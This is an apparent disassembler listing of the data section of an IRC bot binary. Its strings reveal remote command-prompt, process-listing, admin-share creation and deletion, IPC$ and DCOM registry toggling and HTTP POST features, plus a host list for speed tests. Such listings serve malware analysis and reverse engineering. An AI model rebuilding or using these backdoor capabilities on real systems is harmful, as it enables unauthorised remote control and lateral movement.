' process list failed',0 align 4 unk_439C3C db 2Dh ; - ; DATA XREF: sub_419DD9+80o db 3, 34h, 2 db 70h ; p db 72h, 6Fh, 63h db 73h ; s db 2, 3, 2Dh aProcessListCom db ' process list complete',0 align 10h unk_439C60 db 2Dh ; - ; DATA XREF: sub_419DD9+19o db 3, 34h, 2 db 70h ; p db 72h, 6Fh, 63h db 73h ; s db 2, 3, 2Dh aListingProcess db ' listing processes:',0 aPrivmsgSS db 'PRIVMSG %s :%s',0Dh,0 ; DATA XREF: sub_419F76+33o unk_439C90 db 2Dh ; - ; DATA XREF: sub_419FFD:loc_41A12Fo db 3, 34h, 2 db 63h ; c db 6Dh, 64h, 2 db 3 aCouldNotReadDa db '- Could not read data from proccess.',0Dh,0Ah,0 unk_439CC0 db 2Dh ; - ; DATA XREF: sub_419FFD+10Fo db 3, 34h, 2 db 63h ; c db 6Dh, 64h, 2 db 3 aProccessHasTer db '- Proccess has terminated.',0Dh,0Ah,0 align 4 unk_439CE8 db 2Dh ; - ; DATA XREF: sub_419FFD:loc_41A0E3o db 3, 34h, 2 db 63h ; c db 6Dh, 64h, 2 db 3 aCouldNotRead_0 db '- Could not read data from proccess',0Dh,0Ah,0 align 4 unk_439D18 db 2Dh ; - ; DATA XREF: sub_41A152+194o db 3, 34h, 2 db 63h ; c db 6Dh, 64h, 2 db 3 aFailedToStartI db '- Failed to start IO thread, error: <%d>.',0 align 4 unk_439D4C db 2Dh ; - ; DATA XREF: sub_41A152+14Co db 3, 34h, 2 db 63h ; c db 6Dh, 64h, 2 db 3 aRemoteCommandP db '- Remote Command Prompt',0 align 10h off_439D70 dd offset dword_439DA8 ; DATA XREF: sub_41A367+1B3o ; sub_41A68B+17Ao align 8 dd offset dword_439DA0 align 10h off_439D80 dd offset dword_439D9C ; DATA XREF: sub_41A68B+1E3o dd offset dword_439D98 dd offset dword_439D94 dd offset dword_439D90 dword_439D90 dd 5C3A44h ; DATA XREF: sub_41A367+217o ; ___:00439D8Co dword_439D94 dd 2444h ; DATA XREF: ___:00439D88o dword_439D98 dd 5C3A43h ; DATA XREF: ___:00439D84o dword_439D9C dd 2443h ; DATA XREF: ___:off_439D80o dword_439DA0 dd 494D4441h, 244Eh ; DATA XREF: ___:00439D78o dword_439DA8 dd 24435049h, 0 ; DATA XREF: ___:off_439D70o dword_439DB0 dd 234032Dh, 75636573h, 3026572h ; DATA XREF: sub_41A367+2E5o ; sub_41A68B+2D8o aNetapi32_dllCo db '- Netapi32.dll couldn',27h,'t be loaded.',0 align 10h dword_439DE0 dd 234032Dh, 75636573h, 3026572h ; DATA XREF: sub_41A367+2CFo aNetworkSharesD db '- Network shares deleted.',0 align 4 dword_439E08 dd 234032Dh, 75636573h, 3026572h ; DATA XREF: sub_41A367:loc_41A5C9o aFailedToDelete db '- Failed to delete ',27h,'%S',27h,' share.',0 align 4 dword_439E34 dd 234032Dh, 75636573h, 3026572h ; DATA XREF: sub_41A367+25Bo aShareSDeleted_ db '- Share ',27h,'%S',27h,' deleted.',0 align 4 dword_439E58 dd 234032Dh, 75636573h, 3026572h ; DATA XREF: sub_41A367:loc_41A536o aFailedToDele_0 db '- Failed to delete ',27h,'%s',27h,' share.',0 align 4 dword_439E84 dd 234032Dh, 75636573h, 3026572h ; DATA XREF: sub_41A367+1C8o aShareSDelete_0 db '- Share ',27h,'%s',27h,' deleted.',0 align 4 dword_439EA8 dd 234032Dh, 75636573h, 3026572h ; DATA XREF: sub_41A367:loc_41A499o ; sub_41A68B:loc_41A7B9o aAdvapi32_dllCo db '- Advapi32.dll couldn',27h,'t be loaded.',0 align 4 dword_439ED8 dd 234032Dh, 75636573h, 3026572h ; DATA XREF: sub_41A367:loc_41A492o aFailedToOpenIp db '- Failed to open IPC$ Restriction registry key.',0 dword_439F14 dd 234032Dh, 75636573h, 3026572h ; DATA XREF: sub_41A367:loc_41A474o aRestrictedAcce db '- Restricted access to the IPC$ Share.',0 align 4 dword_439F48 dd 234032Dh, 75636573h, 3026572h ; DATA XREF: sub_41A367+106o aFailedToRestri db '- Failed to restrict access to the IPC$ Share.',0 align 4 aRestrictanonym db 'restrictanonymous',0 ; DATA XREF: sub_41A367+EDo ; sub_41A68B+EDo align 4 dword_439F98 dd 234032Dh, 75636573h, 3026572h ; DATA XREF: sub_41A367+91o ; sub_41A68B+91o aFailedToOpenDc db '- Failed to open DCOM registry key.',0 dword_439FC8 dd 234032Dh, 75636573h, 3026572h, 4344202Dh, 64204D4Fh ; DATA XREF: sub_41A367:loc_41A3D4o dd 62617369h, 2E64656Ch, 0 dword_439FE8 dd 234032Dh, 75636573h, 3026572h ; DATA XREF: sub_41A367+66o aDisableDcomFai db '- Disable DCOM failed.',0 align 4 aEnabledcom db 'EnableDCOM',0 ; DATA XREF: sub_41A367+54o ; sub_41A68B+54o align 4 dword_43A018 dd 234032Dh, 75636573h, 3026572h ; DATA XREF: sub_41A68B+2C0o aNetworkSharesA db '- Network shares added.',0 aC_0 db '%c:\',0 ; DATA XREF: sub_41A68B+22Ao align 4 aC_1 db '%c$',0 ; DATA XREF: sub_41A68B+219o dword_43A048 dd 234032Dh, 75636573h, 3026572h ; DATA XREF: sub_41A68B:loc_41A82Ao ; sub_41A68B:loc_41A8F8o aFailedToAddSSh db '- Failed to add ',27h,'%s',27h,' share.',0 dword_43A070 dd 234032Dh, 75636573h, 3026572h ; DATA XREF: sub_41A68B+198o ; sub_41A68B+266o aShareSAdded_ db '- Share ',27h,'%s',27h,' added.',0 dword_43A090 dd 234032Dh, 75636573h, 3026572h ; DATA XREF: sub_41A68B:loc_41A7B2o aFailedToOpen_0 db '- Failed to open IPC$ restriction registry key.',0 dword_43A0CC dd 234032Dh, 75636573h, 3026572h ; DATA XREF: sub_41A68B:loc_41A794o aUnrestrictedAc db '- Unrestricted access to the IPC$ Share.',0 align 4 dword_43A104 dd 234032Dh, 75636573h, 3026572h ; DATA XREF: sub_41A68B+102o aFailedToUnrest db '- Failed to unrestrict access to the IPC$ Share.',0 align 4 dword_43A144 dd 234032Dh, 75636573h, 3026572h, 4344202Dh, 65204D4Fh ; DATA XREF: sub_41A68B:loc_41A6F8o dd 6C62616Eh, 2E6465h dword_43A160 dd 234032Dh, 75636573h, 3026572h ; DATA XREF: sub_41A68B+66o aEnableDcomFail db '- Enable DCOM failed.',0 align 4 aPostHttp1_0Hos db 'POST / HTTP/1.0',0Dh,0Ah ; DATA XREF: sub_41A9BC+DEo db 'Host: %s',0Dh,0Ah db 'Content-Length: %d',0Dh,0Ah db 0Dh,0Ah,0 align 4 dword_43A1B8 dd 234032Dh, 65657073h, 73657464h, 2D030274h, 75450220h ; DATA XREF: sub_41AB97+1A7o dd 65706F72h, 25203A02h, 626B2064h, 732F7469h, 53550220h dd 203A0241h, 6B206425h, 2F746962h, 41022073h, 2616973h dd 6425203Ah, 69626B20h, 20732F74h, 65764102h, 65676172h dd 25203A02h, 626B2064h, 732F7469h, 0 aWww_google_co_ db 'www.google.co.jp',0 ; DATA XREF: sub_41AB97+C4o align 4 aYahoo_co_jp db 'yahoo.co.jp',0 ; DATA XREF: sub_41AB97+BDo aWww_nifty_com db 'www.nifty.com',0 ; DATA XREF: sub_41AB97+B6o align 4 aWww_d1asia_com db 'www.d1asia.com',0 ; DATA XREF: sub_41AB97+AFo align 4 aWww_st_lib_kei db 'www.st.lib.keio.ac.jp',0 ; DATA XREF: sub_41AB97+A8o align 10h aWww_lib_nthu_e db 'www.lib.nthu.edu.tw',0 ; DATA XREF: sub_41AB97+A1o aWww_google_com db 'www.google.com',0 ; DATA XREF: sub_41AB97+9Ao align 4 aWww_easynews_c db 'www.easynews.com',0 ; DATA XREF: sub_41AB97+93o align 4 aWww_above_net db 'www.above.net',0 ; DATA XREF: sub_41AB97+8Co align 4 aWww_level3_com db 'www.level3.com',0 ; DATA XREF: sub_41AB97+85o align 4 aNitro_ucsc_edu db 'nitro.ucsc.edu',0 ; DATA XREF: sub_41AB97+7Eo align 4 aWww_burst_net db 'www.burst.net',0 ; DATA XREF: sub_41AB97+77o align 4 aWww_cogentco_c db 'www.cogentco.com',0 ; DATA XREF: sub_41AB97+70o align 4 aWww_rit_edu db 'www.rit.edu',0 ; DATA XREF: sub_41AB97+69o aWww_nocster_co db 'www.nocster.com',0 ; DATA XREF: sub_41AB97+62o aWww_verio_com db 'www.verio.com',0 ; DATA XREF: sub_41AB97+5Bo align 4 aWww_stanford_e db 'www.stanford.edu',0 ; DATA XREF: sub_41AB97+54o align 4 aWww_xo_net db 'www.xo.net',0 ; DATA XREF: sub_41AB97+4Do align 4 aWww_google_it db 'www.google.it',0 ; DATA XREF: sub_41AB97+46o align 4 aDe_yahoo_com db 'de.yahoo.com',0 ; DATA XREF: sub_41AB97+3Fo align 4 aWww_belwue_de db 'www.belwue.de',0 ; DATA XREF: sub_41AB97+38o align 4 aWww_switch_ch db 'www.switch.ch',0 ; DATA XREF: sub_41AB97+31o align 4 aWww_1und1_de db 'www.1und1.de',0 ; DATA XREF: sub_41AB97+2Ao align 4 aVerio_fr db 'verio.fr',0 ; DATA XREF: sub_41AB97+23o align 4 aWww_utwente_nl db 'www.utwente.nl',0 ; DATA XREF: sub_41AB97+1Co align 4 aWww_schlund_ne db 'www.schlund.net',0 ; DATA XREF: sub_41AB97+15o dword_43A3C4 dd 234032Dh, 69737973h, 26F666Eh, 2202D03h, 2555043h, 4925203Ah ; DATA XREF: sub_41AF2B+297o dd 4D753436h, 202E7A48h, 4D415202h, 25203A02h, 20424B73h dd 61746F74h, 25202C6Ch, 20424B73h, 65657266h, 4402202Eh dd 26B7369h, 7325203Ah, 746F7420h, 202C6C61h, 66207325h dd 2E656572h, 534F0220h, 57203A02h, 6F646E69h, 25207377h dd 25282073h, 64252E64h, 7542202Ch, 20646C69h, 2E296425h dd 79530220h, 72696473h, 25203A02h, 2202E73h, 74736F48h dd 656D616Eh, 25203A02h, 25282073h, 202E2973h, 72754302h dd 746E6572h, 65735520h, 203A0272h, 202E7325h, 74614402h dd 203A0265h, 202E7325h, 6D695402h, 203A0265h, 202E7325h dd 74705502h, 2656D69h, 7325203Ah, 2Eh dword_43A4A0 dd 4D3A6464h, 793A4D4Dh, 797979h ; DATA XREF: sub_41AF2B+192o aCouldnTResolve db 'couldn',27h,'t resolve host',0 ; DATA XREF: sub_41AF2B:loc_41B08Fo align 4 dword_43A4C4 dd 234032Dh, 6974656Eh, 26F666Eh, 2202D03h, 65707954h ; DATA XREF: sub_41B1DF+ABo dd 25203A02h, 25282073h, 202E2973h, 20504902h, 72646441h dd 2737365h, 7325203Ah, 4802202Eh, 6E74736Fh, 2656D61h dd 7325203Ah, 2Eh off_43A508 dd offset loc_412F4E ; DATA XREF: sub_41B1DF:loc_41B253o off_43A50C dd offset dword_4E414C ; DATA XREF: sub_41B1DF:loc_41B24Co dword_43A510 dd 6C616944h, 70752Dh ; DATA XREF: sub_41B1DF+5Bo dword_43A518 dd 20746F4Eh, 6E6E6F63h, 65746365h, 64h ; DATA XREF: sub_41B1DF+48o unk_43A528 db 2Dh ; - ; DATA XREF: sub_41B2A5:loc_41B45Eo db 3, 34h, 2 db 76h ; v db 69h, 73h, 69h db 74h ; t db 2, 3, 2Dh aFailedToConnec db ' Failed to connect to HTTP server.',0 align 4 unk_43A558 db 2Dh ; - ; DATA XREF: sub_41B2A5:loc_41B457o db 3, 34h, 2 db 76h ; v db 69h, 73h, 69h db 74h ; t db 2, 3, 2Dh aCouldNotOpenAC db ' Could not open a connection.',0 align 4 dword_43A584 dd 234032Dh, 69736976h, 2D030274h, 766E4920h, 64696C61h ; DATA XREF: sub_41B2A5+1A0o dd 4C525520h, 2Eh unk_43A5A0 db 2Dh ; - ; DATA XREF: sub_41B2A5:loc_41B438o db 3, 34h, 2 db 76h ; v db 69h, 73h, 69h db 74h ; t db 2, 3, 2Dh aFailedToGetReq db ' Failed to get requested URL from HTTP server.',0 align 4 dword_43A5DC dd 234032Dh, 69736976h, 2D030274h, 4C525520h, 73697620h ; DATA XREF: sub_41B2A5+18Co dd 64657469h, 2Eh dword_43A5F8 dd 2A2F2Ah ; DATA XREF: sub_41B2A5+3Bo word_43A5FC dw 4 ; DATA XREF: sub_41B4FB+10r align 10h dword_43A600 dd 6325h ; DATA XREF: ___:0041B83Co dword_43A604 dd 0DFFh ; DATA XREF: ___:0041B68Ao dword_43A608 dd 51FFh ; DATA XREF: ___:0041B67Fo dword_43A60C dd 0EBFFh ; DATA XREF: ___:0041B674o dword_43A610 dd 201h ; DATA XREF: ___:0041B65Fo dword_43A614 dd 20424652h, 2E333030h, 0A383030h, 4 dup(0) ; DATA XREF: ___:0041B64Do dword_43A630 dd 5E24513Ch ; DATA XREF: sub_41C058+4w sub_41C062r ... align 10h dword_43A640 dd 173Fh ; DATA XREF: sub_41CDE5+Dr dd 9875h, 9873h off_43A64C dd offset sub_41CEB4 ; DATA XREF: ___:0041BF04r ; --------------------------------------------------------------------------- retf ; --------------------------------------------------------------------------- db 0CEh, 41h, 0 ; --------------------------------------------------------------------------- retf ; --------------------------------------------------------------------------- db 0CEh, 41h, 0 dword_43A658 dd 1B3Fh ; DATA XREF: sub_41CF2B+Dr dword_43A65C dd 19930520h, 4 dup(0) ; DATA XREF: sub_41D3AD+2o ; sub_41D3B6+2o off_43A670 dd offset sub_41BF42 ; DATA XREF: sub_41E1C9+1Cr dword_43A674 dd 2 ; DATA XREF: sub_423498+Er ; sub_4234D1+46r ... dd 10h dword_43A67C dd 3F8h ; DATA XREF: sub_41BB48+4Dr ; sub_41BCD9+5r ... off_43A680 dd offset word_43A68A ; DATA XREF: sub_41BE6E+23r ; sub_41BE6E:loc_41BECFr ... off_43A684 dd offset word_43A68A ; DATA XREF: sub_426B2A+18r db 2 dup(0) word_43A68A dw 20h ; DATA XREF: sub_424C57+18r ; ___:off_43A680o ... unicode 0, < ((((( H> dd 7 dup(100010h), 840010h, 4 dup(840084h), 100084h, 3 dup(100010h) dd 3 dup(810081h), 0Ah dup(10001h), 3 dup(100010h), 3 dup(820082h) dd 0Ah dup(20002h), 2 dup(100010h), 20h, 40h dup(0) dword_43A88C dd 1 ; DATA XREF: sub_41BE6E:loc_41BE76r ; sub_41BE6E:loc_41BEBAr ... byte_43A890 db 2Eh ; DATA XREF: sub_420445:loc_420739r ; sub_420445+311r ... align 4 dd 1 off_43A898 dd offset aNull_0 ; DATA XREF: sub_41F5D4:loc_41F938r ; sub_41F5D4+457r ; "(null)" off_43A89C dd offset aNull ; DATA XREF: sub_41F5D4+259r ; "(null)" byte_43A8A0 db 1 ; DATA XREF: sub_41FDDE+E1r db 2, 4, 8 align 8 dword_43A8A8 dd 3A4h ; DATA XREF: sub_41FDDE+2Fo dword_43A8AC dd 82798260h, 21h, 0 ; DATA XREF: sub_41FDDE+11Dr dword_43A8B8 dd 0DFA6h ; DATA XREF: sub_41FDDE+C0r align 10h dd 0A5A1h, 0 dd 0FCE09F81h, 0 dd 0FC807E40h, 0 dd 3A8h, 0A3DAA3C1h, 20h, 5 dup(0) dd 0FE81h, 0 dd 0FE40h, 0 dd 3B5h, 0A3DAA3C1h, 20h, 5 dup(0) dd 0FE81h, 0 dd 0FE41h, 0 dd 3B6h, 0A2E4A2CFh, 0A2E5001Ah, 5BA2E8h, 4 dup(0) dd 0FE81h, 0 dd 0FEA17E40h, 0 dd 551h, 0DA5EDA51h, 0DA5F0020h, 32DA6Ah, 4 dup(0) dd 0DED8D381h, 0F9E0h, 0FE817E31h, 0 dword_43A998 dd 1 ; DATA XREF: sub_41FDDE+3Co ; sub_420314+Co dword_43A99C dd 16h ; DATA XREF: sub_420314:loc_420349r dd 2 dup(2), 3, 2, 4, 18h, 5, 0Dh, 6, 9, 7, 0Ch, 8, 0Ch dd 9, 0Ch, 0Ah, 7, 0Bh, 8, 0Ch, 16h, 0Dh, 16h, 0Fh, 2 dd 10h, 0Dh, 11h, 2 dup(12h), 2, 21h, 0Dh, 35h, 2, 41h dd 0Dh, 43h, 2, 50h, 11h, 52h, 0Dh, 53h, 0Dh, 57h, 16h dd 59h, 0Bh, 6Ch, 0Dh, 6Dh, 20h, 70h, 1Ch, 72h, 9, 6, 16h dd 80h, 0Ah, 81h, 0Ah, 82h, 9, 83h, 16h, 84h, 0Dh, 91h dd 29h, 9Eh, 0Dh, 0A1h, 2, 0A4h, 0Bh, 0A7h, 0Dh, 0B7h dd 11h, 0CEh, 2, 0D7h, 0Bh, 718h, 0Ch dword_43AB00 dd 0D2D0920h, 5Dh ; DATA XREF: sub_420314+19o ; sub_420445:loc_4209ACo dword_43AB08 dd 5Dh, 0 ; DATA XREF: sub_420445:loc_42089Co dword_43AB10 dd 14h ; DATA XREF: sub_421559+2o off_43AB14 dd offset aExp ; DATA XREF: sub_421559:loc_421576r ; "exp" dd 1Dh, 427840h, 1Ah, 42C61Ch, 1Bh, 427838h, 1Fh, 427830h dd 13h, 427828h, 21h, 427820h, 0Eh, 427818h, 0Dh, 427810h dd 0Fh, 427808h, 10h, 427800h, 5, 4277F8h, 1Eh, 4277F4h dd 12h, 4277F0h, 20h, 4277ECh, 0Ch, 4277E4h, 0Bh, 4277DCh dd 15h, 4277D4h, 1Ch, 4277CCh, 19h, 4277C4h, 11h, 4277BCh dd 18h, 4277B4h, 16h, 4277ACh, 17h, 4277A4h, 22h, 4277A0h dd 23h, 42779Ch, 24h, 427798h dbl_43ABE8 dq 1.797693134862316e308 ; DATA XREF: sub_421294+B7r ; sub_421294:loc_42137Br ... dd 0 dd 0FFF80000h dbl_43ABF8 dq 1.797693134862316e308 ; DATA XREF: sub_421294+92r ; sub_421294:loc_421353r ... dd 0 dd 100000h, 0 dd 80000000h tbyte_43AC10 dt 2.3562723457267347066e313 ; DATA XREF: sub_421741+Dr ; sub_421741+1Fr align 4 tbyte_43AC1C dt 1.9149954921904370718e-1233 ; DATA XREF: sub_421741+31r align 4 off_43AC28 dd offset sub_421BD5 ; DATA XREF: sub_41CECC+Fw ; sub_41F5D4+3AAr off_43AC2C dd offset sub_42186A ; DATA XREF: sub_41CECC+5w ; sub_41F5D4+3E2r off_43AC30 dd offset sub_4218D0 ; DATA XREF: sub_41CECC+14w ; sub_420445+430r off_43AC34 dd offset sub_421810 ; DATA XREF: sub_41CECC+1Ew ; sub_41F5D4+3CBr off_43AC38 dd offset sub_4218B8 ; DATA XREF: sub_41CECC+28w off_43AC3C dd offset sub_421BD5 ; DATA XREF: sub_41CECC+32w dd offset sub_42461C align 10h dd offset sub_42249C off_43AC54 dd offset sub_42249C ; DATA XREF: sub_4224F2+29r dword_43AC58 dd 0C0000005h ; DATA XREF: sub_422D37+Ar ; sub_422D37+11o ... dword_43AC5C dd 0Bh ; DATA XREF: sub_42595E+Ar dd 0 dd 0C000001Dh, 4, 0 dd 0C0000096h, 4, 0 db 8Dh, 0 dw 0C000h dd 8, 0 dd 0C000008Eh, 8, 0 dd 0C000008Fh, 8, 0 db 90h db 2 dup(0), 0C0h dd 8, 0 dd 0C0000091h, 8, 0 dd 0C0000092h, 8, 0 dd 0C0000093h, 8, 0 dword_43ACD0 dd 3 ; DATA XREF: ___:00422C4Er ; sub_425831+C8r dword_43ACD4 dd 7 ; DATA XREF: ___:00422C54r ; sub_425831+CDr dword_43ACD8 dd 0Ah ; DATA XREF: sub_422D37+4r ; sub_42595E+4r dword_43ACDC dd 8Ch ; DATA XREF: ___:00422C78r ; ___:00422C85w ... dword_43ACE0 dd 0FFFFFFFFh, 0A00h ; DATA XREF: sub_41EF78:loc_41EFF9o ; sub_41F4BF:loc_41F57Co dword_43ACE8 dd 2 ; DATA XREF: sub_4234D1+Eo ; sub_4234D1+28r off_43ACEC dd offset aR6002FloatingP ; DATA XREF: sub_4234D1+FCr ; sub_4234D1+12Dr ; "R6002\r\n- floating point not loaded\r\n" dd 8, 427B5Ch, 9, 427B30h, 0Ah, 427B0Ch, 10h, 427AE0h dd 11h, 427AB0h, 12h, 427A8Ch, 13h, 427A60h, 18h, 427A28h dd 19h, 427A00h, 1Ah, 4279C8h, 1Bh, 427990h, 1Ch, 427968h dd 78h, 427958h, 79h, 427948h, 7Ah, 427938h, 0FCh, 4341E4h dd 0FFh, 427928h off_43AD78 dd offset dword_4D9A40 ; DATA XREF: sub_4234D1+1Bo ; sub_42383E+55o align 10h dd offset dword_4D9A40 dd 101h dword_43AD88 dd 0FFFFFFFFh, 0 ; DATA XREF: sub_42383E+72o dd 1000h, 0 dword_43AD98 dd 3 dup(0) ; DATA XREF: sub_41F4BF+50o ; sub_42037B+12o dd 2, 0FFFFFFFFh, 3 dup(0) dword_43ADB8 dd 3 dup(0) ; DATA XREF: sub_41F4BF+58o ; sub_42037B:loc_420399o dd 2, 0FFFFFFFFh, 7 dup(0) dword_43ADE8 dd 84h dup(0) ; DATA XREF: sub_42383E+9Bo dword_43AFF8 dd 2 dup(0) ; DATA XREF: sub_42383E+69o dword_43B000 dd 2694h ; DATA XREF: sub_420EF6+3r ; sub_420F49+46r align 8 dword_43B008 dd 400h, 0FFFFFC01h, 35h, 0Bh, 40h, 3FFh ; DATA XREF: sub_4243FCo dword_43B020 dd 80h, 0FFFFFF81h, 18h, 8, 20h, 7Fh ; DATA XREF: sub_424412o dword_43B038 dd 7080h ; DATA XREF: sub_422571+76r ; sub_4246FC+5Ew ... dword_43B03C dd 1 ; DATA XREF: sub_422571+98r ; sub_4246FC+8Bw ... dword_43B040 dd 0FFFFF1F0h ; DATA XREF: sub_422571:loc_422623r ; sub_4246FC+94w ... off_43B044 dd offset dword_545350 ; DATA XREF: ___:off_43B0C4o dd 0Fh dup(0) off_43B084 dd offset dword_544450 ; DATA XREF: ___:off_43B0C8o dd 0Fh dup(0) off_43B0C4 dd offset off_43B044 ; DATA XREF: sub_4246FC+BAr ; sub_4246FC+D9r ... off_43B0C8 dd offset off_43B084 ; DATA XREF: sub_4246FC+F4r ; sub_4246FC+11Br ... align 10h dword_43B0D0 dd 0FFFFFFFFh ; DATA XREF: sub_4246FC+1Dw ; sub_42495A+1Er ... dword_43B0D4 dd 0 ; DATA XREF: sub_42495A:loc_424A8Er ; sub_424B06+BFw dword_43B0D8 dd 0 ; DATA XREF: sub_42495A+192r ; sub_424B06+E0w align 10h dword_43B0E0 dd 0FFFFFFFFh ; DATA XREF: sub_4246FC+17w ; sub_42495A+26r ... dword_43B0E4 dd 0 ; DATA XREF: sub_42495A+13Ar ; sub_424B06+EAw ... dword_43B0E8 dd 0 ; DATA XREF: sub_42495A+1A1r ; sub_424B06+23r ... dword_43B0EC dd 0FFFFFFFFh ; DATA XREF: sub_424B06+84r dd 1Eh, 3Bh, 5Ah, 78h, 97h, 0B5h, 0D4h, 0F3h, 111h, 130h dd 14Eh dword_43B11C dd 16Dh ; DATA XREF: sub_422571+2Ar ; sub_424B06+2Er ... dword_43B120 dd 0FFFFFFFFh ; DATA XREF: sub_424B06:loc_424B92r dd 1Eh, 3Ah, 59h, 77h, 96h, 0B4h, 0D3h, 0F2h, 110h, 12Fh dd 14Dh, 16Ch, 0 dword_43B158 dd 2 dup(0) ; DATA XREF: sub_425CB6+7o dd 4002A000h, 2 dup(0) dd 4005C800h, 2 dup(0) dd 4008FA00h, 2 dup(0) dd 400C9C40h, 2 dup(0) ; --------------------------------------------------------------------------- push eax retn ; --------------------------------------------------------------------------- dw 400Fh dd 2 dup(0) dd 4012F424h, 0 dd 80000000h, 40169896h, 0 dd 20000000h, 4019BEBCh, 0 dd 0C9BF0400h, 40348E1Bh, 0A1000000h, 1BCECCEDh, 404ED3C2h dd 0B59EF020h, 0ADA82B70h, 40699DC5h, 25FD5DD0h, 4F8E1AE5h dd 4083EB19h, 95D79671h, 8D050E43h, 409EAF29h, 44A0BFF9h dd 8F1281EDh, 40B98281h, 0A6D53CBFh, 1F49FFCFh, 40D3C278h dd 8CE0C66Fh, 47C980E9h, 41A893BAh, 556B85BCh, 0F78D3927h dd 427CE070h, 0DE8EDDBCh, 0EBFB9DF9h, 4351AA7Eh, 0E376E6A1h dd 2F29F2CCh, 44268184h, 0AA171028h, 0E310AEF8h, 44FAC4C5h dd 0F3D4A7EBh, 4AE1EBF7h, 45CF957Ah, 91C7CC65h, 0A0AEA60Eh dd 46A3E319h, 0C17650Dh, 75868175h, 4D48C976h, 0A7E44258h dd 353B3993h, 53EDB2B8h, 5DE5A74Dh, 3B5DC53Dh, 5A929E8Bh dd 0F0A65DFFh, 54C020A1h, 61378CA5h, 5A8BFDD1h, 5D25D88Bh dd 67DBF989h, 0F3F895AAh, 0C8A2BF27h, 6E80DD5Dh, 979BC94Ch dd 52028A20h, 7525C460h, 0 dword_43B2B8 dd 0CCCDCCCDh, 0CCCCCCCCh, 3FFBCCCCh, 0D70A3D71h, 0A3D70A3h ; DATA XREF: sub_425CB6+1Bo dd 3FF8A3D7h, 0DF3B645Ah, 6E978D4Fh, 3FF58312h, 652CD3C3h dd 1758E219h, 3FF1D1B7h, 84230FD0h, 0AC471B47h, 3FEEA7C5h dd 69B6A640h, 0BD05AF6Ch, 3FEB8637h, 42BC3D33h, 94D5E57Ah dd 3FE7D6BFh, 0CEFDFDC2h, 77118461h, 3FE4ABCCh, 0E15B4C2Fh dd 94BEC44Dh, 3FC9E695h, 3B53C492h, 14CD4475h, 3FAF9ABEh dd 94BA67DEh, 1EAD4539h, 3F94CFB1h, 0E2C62324h, 313BBABCh dd 3F7A8B61h, 0C1595561h, 7C53B17Eh, 3F5FBB12h, 8D2FEED7h dd 8592BE06h, 3F44FB15h, 0E9A53F24h, 0EA27A539h, 3F2AA87Fh dd 0E4A1AC7Dh, 467C64BCh, 3E55DDD0h, 0CC067B63h, 83775423h dd 3D8191FFh, 193AFA91h, 4325637Ah, 3CACC031h, 38D18921h dd 0B8974782h, 3BD7FD00h, 85888DCh, 0E3E8B11Bh, 3B03A686h dd 424584C6h, 7599B607h, 3A2EDB37h, 0D21C7133h, 0EE32DB23h dd 395A9049h, 0C0BE87A6h, 82A5DA57h, 32B5A2A6h, 11B268E2h dd 449F52A7h, 2C10B759h, 2DE44925h, 534F3436h, 256BCEAEh dd 0A404598Fh, 7DC2DEC0h, 1EC6E8FBh, 5A88E79Eh, 0BF3C9157h dd 18228350h, 62654B4Eh, 0AF8F83FDh, 117D9406h, 9FDE2DE4h dd 4C8D2CEh, 0AD8A6DDh off_43B414 dd offset off_427D30 ; DATA XREF: ___:00427F0Co ; ___:00427FF8o dd 0 a_?avexception@ db '.?AVexception@@',0 off_43B42C dd offset off_427D30 ; DATA XREF: ___:off_427DC0o ; ___:00427E00o ... dd 0 a_?avlogic_erro db '.?AVlogic_error@std@@',0 align 4 off_43B44C dd offset off_427D30 ; DATA XREF: ___:off_427E08o ; ___:00427E4Co ... dd 0 a_?avout_of_ran db '.?AVout_of_range@std@@',0 align 4 off_43B46C dd offset off_427D30 ; DATA XREF: ___:off_427E54o ; ___:00427E98o ... dd 0 a_?avlength_err db '.?AVlength_error@std@@',0 align 10h off_43B490 dd offset off_427D30 ; DATA XREF: ___:off_427EA0o ; ___:00427EDCo align 8 a_?avtype_info@ db '.?AVtype_info@@',0 dd offset sub_42461C align 10h dword_43B4B0 dd 2 dup(0) ; DATA XREF: sub_40111D+C8o byte_43B4B8 db 0 ; DATA XREF: sub_40111D+62o ; ___:0040146Bo ... align 10h dword_43B4C0 dd 0 ; DATA XREF: ___:004015ADo ; sub_401AC7+ADFo ... dd 5 dup(0) dword_43B4D8 dd 0 ; DATA XREF: sub_401AC7+B3Br ; sub_415BF6+60r dd 2D9h dup(0) dword_43C040 dd 0 ; DATA XREF: sub_401AC7+5DD3r ; sub_401AC7+5ECDr ... dd 7Fh dup(0) dword_43C240 dd 0 ; DATA XREF: sub_40B3AD+41w ; sub_40B4E8+40w ... dword_43C244 dd 0 ; DATA XREF: sub_40B3AD+47w ; sub_40B4E8+46w ... dword_43C248 dd 0 ; DATA XREF: sub_40B3AD+52w ; sub_40B4E8+3Ar ... dword_43C24C dd 0 ; DATA XREF: sub_40111D+Cr ; sub_4017E7+B9w ... dword_43C250 dd 0 ; DATA XREF: sub_40B4E8+75r ; sub_40B6C9+2Aw ... dword_43C254 dd 0 ; DATA XREF: ___:004015F9w ; ___:00401671w ... byte_43C258 db 0 ; DATA XREF: sub_4017E7+91o ; sub_401AC7+5D21r ... align 4 dd 253Dh dup(0) dword_445750 dd 2A3Fh dup(0) ; DATA XREF: ___:00434124o db 0 byte_45004D db 3 dup(0) ; DATA XREF: ___:00437DE8o dword_450050 dd 1CFCh dup(0) db 0 byte_457441 db 3 dup(0) ; DATA XREF: ___:off_438854o dword_457444 dd 0E306h dup(0) dword_49005C dd 937Eh dup(0) ; DATA XREF: ___:off_4329A0o db 0 byte_4B4E55 db 3 dup(0) ; DATA XREF: ___:off_43166Co dd 0FBh dup(0) db 0 byte_4B5245 db 3 dup(0) ; DATA XREF: ___:off_4386C0o dd 4F7Eh dup(0) dword_4C9040 dd 0 ; DATA XREF: sub_40111D+FDw ; sub_40B3AD+13o ... dword_4C9044 dd 0 ; DATA XREF: ___:0040125Ew ; sub_401AC7:loc_404474r ... dword_4C9048 dd 0 ; DATA XREF: ___:loc_4016F9o dword_4C904C dd 20h dup(0) ; DATA XREF: ___:004016B0o ; ___:0040174Ao ... dword_4C90CC dd 10h dup(0) ; DATA XREF: ___:004016C6o dword_4C910C dd 24h dup(0) ; DATA XREF: ___:004016DDo dword_4C919C dd 0 ; DATA XREF: ___:004016D1w ; ___:00401761w ... dword_4C91A0 dd 0 ; DATA XREF: ___:004016F0w align 10h dword_4C91B0 dd 0 ; DATA XREF: ___:0040135Br dword_4C91B4 dd 0 ; DATA XREF: ___:004016FEw ; ___:00401715r ... dword_4C91B8 dd 0 ; DATA XREF: ___:004016B5w ; 